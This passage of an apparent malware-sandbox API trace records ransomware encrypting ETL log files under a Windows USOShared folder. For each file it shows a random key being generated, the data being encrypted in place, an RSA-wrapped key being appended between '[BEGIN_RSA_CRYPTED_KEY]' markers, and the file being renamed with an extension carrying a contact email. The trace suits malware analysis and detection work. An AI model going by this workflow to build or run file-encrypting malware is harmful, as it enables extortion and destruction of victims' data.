(lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.814] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.814] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.814] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="UXofe25Lh7lIaX+WLoq2htOO9b8Rx627DXYBWM3Xu5fwT/GHFBd2ZMBQef9PejfJ\ndqdZQWNxkDWNF0ITKPe9sEzNCGdAQ8VRCGrLnI0snIokxHWQSLospXfenKIpkY9c\n+NrWkwEc47LxeuHJyR3+59W89TyKpPwsC4VKGW4cfP8HCVj0cOLb6j7tmvGl1/R2\npmKCXXhwOl3+zYha5/qValdfrcT9ukdGxU8ojQm8sFrWOmx4+U27DsdW2VKFK3aO\nPrI9nwV7Mf6xjXGqXsVN6ilhISm2fpGbAz7mJKeNEOJFy3RVtUB3l8FdKHkdAJLW\nDw9Ehgs2rV4B/VG9B0vpsw==\n", pcchString=0x2e3f9a8) returned 1 [0153.814] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.814] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.814] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.815] CloseHandle (hObject=0x694) returned 1 [0153.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.815] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x570000) returned 1 [0153.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653678 | out: hHeap=0x570000) returned 1 [0153.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd450 | out: hHeap=0x570000) returned 1 [0153.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653548 [0153.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0153.817] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.817] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl", dwFileAttributes=0x80) returned 1 [0153.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6537a8 [0153.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610558 [0153.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6537a8 | out: hHeap=0x570000) returned 1 [0153.818] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.818] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0153.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0153.818] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.820] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.820] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.820] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.820] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.820] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.820] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.820] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.821] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+8WhzASIqADRF2BdVJzw6vyxktb0aPU5B57ZGKnO1fDrW//MLG4PhhXUVKZOBNry\nBU5C6iyWP1e7f7jaYvPNxk7ipeEOYTcv2P90TObGOZwIwvHYe5lDifouIWRwoONR\n8d0nMC2VQ53g9orCpWv5Qq7c9r4YT+eIwlZRCibK61+BenyoDhPvRCXLTGIxoIwr\nNalaMSCxzrRnP7oQkev589isJ3Jb409bJMTTVKz4SE32hX5KWVkRVscMbLln9+Ti\n/CS7X4uA5BQZEIw4lE9LW7ghgOL4R53Qd0fw5iqbKwbDpTJ6jq2aJMycSZ5BZVxY\nHNxMzFDztLukcLzrZ12YYg==\n", pcchString=0x2e3f9a8) returned 1 [0153.821] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.821] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.821] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.821] CloseHandle (hObject=0x694) returned 1 [0153.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.821] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610558 | out: hHeap=0x570000) returned 1 [0153.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0153.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653548 | out: hHeap=0x570000) returned 1 [0153.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0153.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653418 [0153.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.823] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.823] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl", dwFileAttributes=0x80) returned 1 [0153.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652cf8 [0153.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610640 [0153.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652cf8 | out: hHeap=0x570000) returned 1 [0153.824] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.824] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.824] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.826] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.826] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.826] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.826] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.826] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.827] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ZHhHn7DeGUOrwsk4uwCrJaIxQ+L00h/HU/c3vBIS/2vLPz5uFIBVx9++IPg/LqBm\nsvJXinIfpM7Vc9WMf/mqsoUUhifcrmQhjF7nquuBj2VoskObjbBytsN6mytEfwZG\nCcPLdGdvBrXqvTNgM8xW6xCQBz3nlpQEr8x6UqHXOUB6UQqy7k0qwwNI+YB9biqG\nQKlHCYSu7bG2dvE3a4Y30AC38/KgKZQaLCGdQqNmh5uEdIpuRqKSHxeUwBS6KGak\nw+nTcpPV/4saB/f3kSpsfLJRou4NuPo186/y60QWOnt4EXJONKi3MWOXZ89aNrRD\n87VwWqglC0H4n7eHbElSOQ==\n", pcchString=0x2e3f9a8) returned 1 [0153.827] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.827] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.827] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.827] CloseHandle (hObject=0x694) returned 1 [0153.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.827] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610640 | out: hHeap=0x570000) returned 1 [0153.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653418 | out: hHeap=0x570000) returned 1 [0153.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa6f8 | out: hHeap=0x570000) returned 1 [0153.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6531b8 [0153.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.829] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.829] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl", dwFileAttributes=0x80) returned 1 [0153.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652f58 [0153.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610558 [0153.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f58 | out: hHeap=0x570000) returned 1 [0153.830] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.831] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0153.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0153.832] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.931] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.931] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.931] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.931] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.931] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.932] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.932] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.932] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.932] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="QtQRgxoDREeCZvL+buiYQIItJhjyL+zToMuJCSqzCwyKqSzglNl1dTTB69s2XRQL\nFLau488ybecfBoZTNQzTGNDAbFxqcSz+EeeTbAhgNOBG3BngSb7xh/Qh/xc1GolQ\nsI29GhvLHBqSfkvq/jhhC2SoBwEwri6IKs5UfZN8hrMRMTw9CdDqykun+VbXXdF5\n0flFM6lpajFEL5PDJEkUO08GMWfPw+AWHzucEqHhrd1gK9m71x1z/EibT1RrYu4P\nw0IeKiiw8/mJWWh+4J6s/5FBGRawizWKkEmxM5X1y5BsThlGc6hVLD8VB1igWX2f\n/k/lV2DeDur5EB+Br816uw==\n", pcchString=0x2e3f9a8) returned 1 [0153.932] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.932] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.932] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.932] CloseHandle (hObject=0x694) returned 1 [0153.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.932] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610558 | out: hHeap=0x570000) returned 1 [0153.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6531b8 | out: hHeap=0x570000) returned 1 [0153.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0153.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652e28 [0153.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc990 [0153.937] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.937] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl", dwFileAttributes=0x80) returned 1 [0153.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6534b0 [0153.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6100d0 [0153.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6534b0 | out: hHeap=0x570000) returned 1 [0153.938] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.938] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.938] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.939] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.939] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.939] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.939] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.939] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.940] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.940] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: 